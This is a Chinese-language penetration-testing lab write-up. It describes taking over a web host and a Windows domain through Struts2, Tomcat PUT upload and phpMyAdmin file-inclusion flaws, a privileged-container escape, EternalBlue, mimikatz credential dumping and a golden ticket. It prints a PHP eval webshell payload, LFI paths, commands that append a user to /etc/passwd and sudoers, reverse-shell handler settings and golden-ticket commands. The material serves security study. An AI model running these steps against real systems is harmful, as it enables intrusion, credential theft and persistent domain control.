0x01 打靶目标
获得所有主机包括域控的控制权限。
0x02 靶场环境
web机 :ubuntu 192.168.111.145 192.168.183.128
内网主机:windows 7
0x03 打靶记录
一.外网信息收集
外网有一台机器,接着扫描一下该主机开放的端口
有三个web端口,游览器访问 2001 端口
是一个文件上传的功能点,简单上传一个文件发现没有反应。
只不过 url 出现了 action 后缀的文件
结合之前扫描的结果,可能会存在 struts2 的多版本漏洞。
游览器访问 2002 端口,是一个 tomcat 的初始界面
搜索当前 tomcat 版本,是否存在已知漏洞。搜一下还真有,存在put文件上传漏洞。
接着访问最后一个端口 2003
该端口开放了一个 phpMyAdmin,版本为 4.8.1
该版本存在任意文件上传漏洞。
这三个web服务都有漏洞适合打点。
二.外网打点
1.struts2 漏洞打点
使用工具
检测存在漏洞,
能够命令执行。
2.tomcat 文件上传漏洞打点
用PUT方式上传一个jsp木马
看似应该上传成功了,游览器访问21.jsp,测试命令。
木马成功上传。
3.phpMyAdmin 远程文件包含打点
使用该路径可以任意文件读取
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd#/
执行如下sql语句
select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"
查询记录会写进日志里。这是一个docker的环境,所以不能利用写木马到数据库然后包含 frm 文件。因为 vulhub 是利用站库分离的搭法,这样我们插入木马到某个表中,payload 会保存在数据库系统里,而不是 web 服务器上。
因此利用 session 写入 shell 的方式进行 getshell
储存路径在 tmp目录下的 sess_+phpMyAdmin的cookie值
包含该日志,执行php代码,写入木马
?target=db_sql.php%253f/../../../../../../../../tmp/sess_14afd9352fa03b2c14b10c54b396478e#/
访问该文件,执行代码。
三.反弹shell
struts2 能够执行命令之后就可以直接反弹shell
kali开启监听7778端口,执行反弹命令。
回到kali
反弹成功。
四.docker逃逸
执行 fdisk -l查看硬盘信息
没有输出任何信息,说明当前是容器环境。
运行该命令查看当前容器是否为特权容器
cat /proc/1/status | grep Cap
没有查询出来的值是00000003ffffffff,很遗憾,并不是。换一个容器试试
使用冰蝎连接tomcat上传的jsp马。
查看当前容器是否为特权容器
是特权容器无疑了,那么接下来查看硬盘信息
可以看到这里存在与 Linux 主机之间的挂载,该linux可能是宿主机。
在根目录下新建文件,然后与/dev/sda5进行挂载
mkdir xjy
mount /dev/sda5 xjy/
查看xjy文件夹,输出的信息就是宿主机的硬盘信息。
执行如下命令
perl -le 'print crypt("123456","addedsalt")'
生成123456的hash值。
hash 值为 adrla7IBSfTZQ
执行如下命令添加用户
echo "abc:adrla7IBSfTZQ:1001:1001:User_like_root:/root:/bin/bash" >> /xjy/etc/passwd
创建一个名为abc的用户。
已知该web主机开放了22端口,用我们新建的用户登录。
登录成功。
(选做)免密登录
在我们的kali机上创建2048 bit 的公钥
然后查看 id_rsa.pub的内容
将这些内容复制到web机的 authorized_keys 文件中,没有就创建,注意要有格式。
然后设置权限
openssl规定这些密钥文件必须针对于这个用户开放权限,并可读可写不可执行。
在我们的kali上创建一个config文件
里面设置开启sha1支持的命令
这段配置指定了在连接到指定主机(IP 地址为 192.168.111.146)时,SSH 客户端应该使用的主机密钥算法和公钥算法。具体而言,它告知客户端允许使用 SSH-RSA 算法进行主机密钥验证和公钥身份验证。
最后指定公钥进行远程登录
ssh -i id_rsa [email protected]
最后可以免密登录成功。
五.提权
在我们的docker环境里执行如下命令
echo "abc ALL=(ALL:ALL) ALL" >> /xjy/etc/sudoers
因为我们将宿主机的磁盘一起挂载了,默认是root权限,是能够在 sudoers敏感文件里追加我们新建的用户。
将当前用户切换到超级用户下,或切换到指定的用户下,然后以超级用户或其指定切换到的用户身份执行命令,执行完成后,直接退回到当前用户。具体工作过程如下:当用户执行sudo时,系统会主动寻找/etc/sudoers文件,判断该用户是否有执行sudo的权限,确认用户具有可执行sudo的权限后,让用户输入用户自己的密码确认,若密码输入成功,则开始执行sudo后续的命令
我们追加以上命令,表明我们当前的abc用户在执行sudo特权命令的时候就可以输入自己的密码了,就可以达到提权的效果。也可以相当于添加了一个管理员用户。
回到kali中执行 sudo 命令
提权成功。
六.内网信息收集
kali用python开启一个web服务,提供web主机去下载 fscan
然后web靶机使用wget下载扫描器
查看一下当前web主机的网卡信息,存在 183 的内网网段。
使用 fscan 扫描内网存活主机。
内网还存在两台主机,一个130,一个131,都开放了445端口,都检测出可能会存在永恒之蓝漏洞。
该主机为ubuntu,也不存在所谓的域
还是派生到MSF打永恒之蓝吧
七.横向移动
繁琐的步骤不再重复,不过与windows主机设置的监听器不同
use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 0.0.0.0
run
然后再kali执行反弹shell命令。获得了ubuntu 的 shell,暂时不能用MSF的组件,所以执行 sessions -u 3 升级一下会话就可以了。
一般的永恒之蓝打不了,总是出错,试了很多次,然后挂个代理,使用proxychains来启动msfconsole,然后再用永恒之蓝打win7,但是进入不了shell,会超时
此时可以说已经拿到了windows 7 的shell了。
将win7的shell派生到CS
失败了,CS没有反应,很离谱。
那就换个思路吧
加载kiwi模块去读取密码
执行 creds_all 命令,读取到 ntlm 哈希和明文密码了。
接下来开启远程桌面
别看它 timeout了实际上已经打开了,因为通过永恒之蓝拿到的shell是system权限。
客户端挂代理,远程桌面,
登录没有信任关系,离谱。。。
接着用永恒之蓝打域控。
成功,但是进入不了shell交互会话。继续读取域控的密码
开启远程桌面连接域控。
成功连接域控。
用命令行添加用户
成功将aaa用户添加到管理员组。
但是win7还是登录不上,在域控用ipc连接貌似也不行,win7的域账户应该出了问题。
换个方式代理,在msf里面添加代理端口
就能够进入到shell页面
当前是system权限,添加新用户。
成功将 xilitter 用户添加到管理员。
成功远程桌面连接win7主机。因为该用户是管理员,可以操作本主机的任何文件了。
八.权限维持
1.制作黄金票据
如果在域控新添加的用户被检查出来并删除,那么我们就失去对域控制器的控制权,所以我们需要在win7我们新添加的用户中制作黄金票据,能够实现对域控制器的持续访问。
在域控制器使用 klist 命令查看当前登录用户的票据信息。
发现存在 Kerberos 票据,那么该域正在使用Kerberos 进行身份验证。
制作黄金票据,维持对域控制器的控制权。
制作黄金票据需要满足如下条件
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
krbtgt是Kerberos中的一个特殊账户,用于存储和管理Ticket Granting Ticket(TGT)。在Kerberos认证系统中,krbtgt账户是一个系统级别的账户,用于生成TGT和使用自己的hash(krbtgt hash)加密TGT,并提供给用户进行身份验证和获取服务票据。那么如果攻击者获取到了这个hash(krbtgt hash),那么就可以任意的伪造TGT了,该特殊账户是在域控制器上的。
还有一点就是该KRBTGT帐户密码[从不更改和直到KRBTGT密码被更改(两次),攻击者可以创建黄金票据。请注意,即使伪造用户更改其密码,创建用于模拟用户的Golden Ticket仍然存在
首先域的名称为 DEMO
上传 Mimikatz 工具获取krbtgt的HTLM-Hash及域SID
lsadump::dcsync /user:krbtgt
用户名为 krbtgt,域ID为
S-1-5-21-979886063-1111900045-1414766810-502
krbtgt 用户的 NTLM HASH 为
7c4ed692473d4b4344c3ba01c5e6cb63
选择任意域用户,为administrator
远程桌面登录win7
首先检查当前是否存在票据,然后执行 kerberos::purge清除票据。
kerberos::golden /admin:administrator /domain:DEMO.COM /sid:S-1-5-21-979886063-1111900045-1414766810-502 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi
成功生成票据。
将我们生成的票据导入内存中,list查看票据发现已经加载进来了。
接下来就可以执行 dir 来查看域控的磁盘信息了。
达到了权限维持的效果。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)